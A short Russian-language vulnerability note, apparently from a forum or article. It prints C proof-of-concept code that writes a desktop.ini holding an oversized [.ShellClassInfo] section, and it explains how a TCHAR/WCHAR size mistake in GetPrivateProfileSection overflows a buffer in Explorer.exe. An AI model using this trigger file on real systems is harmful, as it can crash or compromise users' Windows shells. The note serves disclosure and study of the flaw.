Внимание: ИСХОДНИКИ.
#include <direct.h>
#include <stdio.h>
#include <windows.h>
#include <sys/stat.h>
#define BUFF 2300
void main(){
char path[256];
char evil[BUFF+1]="";
FILE *bof;
struct stat st;
strcpy(path,"\\pont");
mkdir(path);
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);
strcat(path,"\\Desktop.ini");
if (stat(path,&st)==0)
{ remove(path); exit(1);}//just execute this program twice to remote this file
bof=fopen(path,"w");
fputs("[.ShellClassInfo]\n",bof);
memset(evil,'A',BUFF);
fputs(evil,bof);
fclose(bof);
}
Т. Е. она просто создает определенный файл (desktop.ini) в директории pont,
как заметил A.A.Z.
Описание функции, которая вызывается в процессе парсинга desktop.ini (описание взято из MSDN)
DWORD GetPrivateProfileSection(
LPCTSTR lpAppName,
LPTSTR lpReturnedString,
DWORD nSize,
LPCTSTR lpFileName
);
Microsoft специфицирует параметр nSize следующим образом: размер буфера, на который указывает lpReturnedString, в TCHAR’ах. Что и является корнем всей проблемы, так как при использовании UNICODE кодировки размер должен считаться WCHAR’ами. То есть 1 для nSize равен sizeof(TCHAR) а должно быть sizeof(WCHAR).
В результате: Переполнение буфера в Explorer.exe со всеми вытекающими последствиями.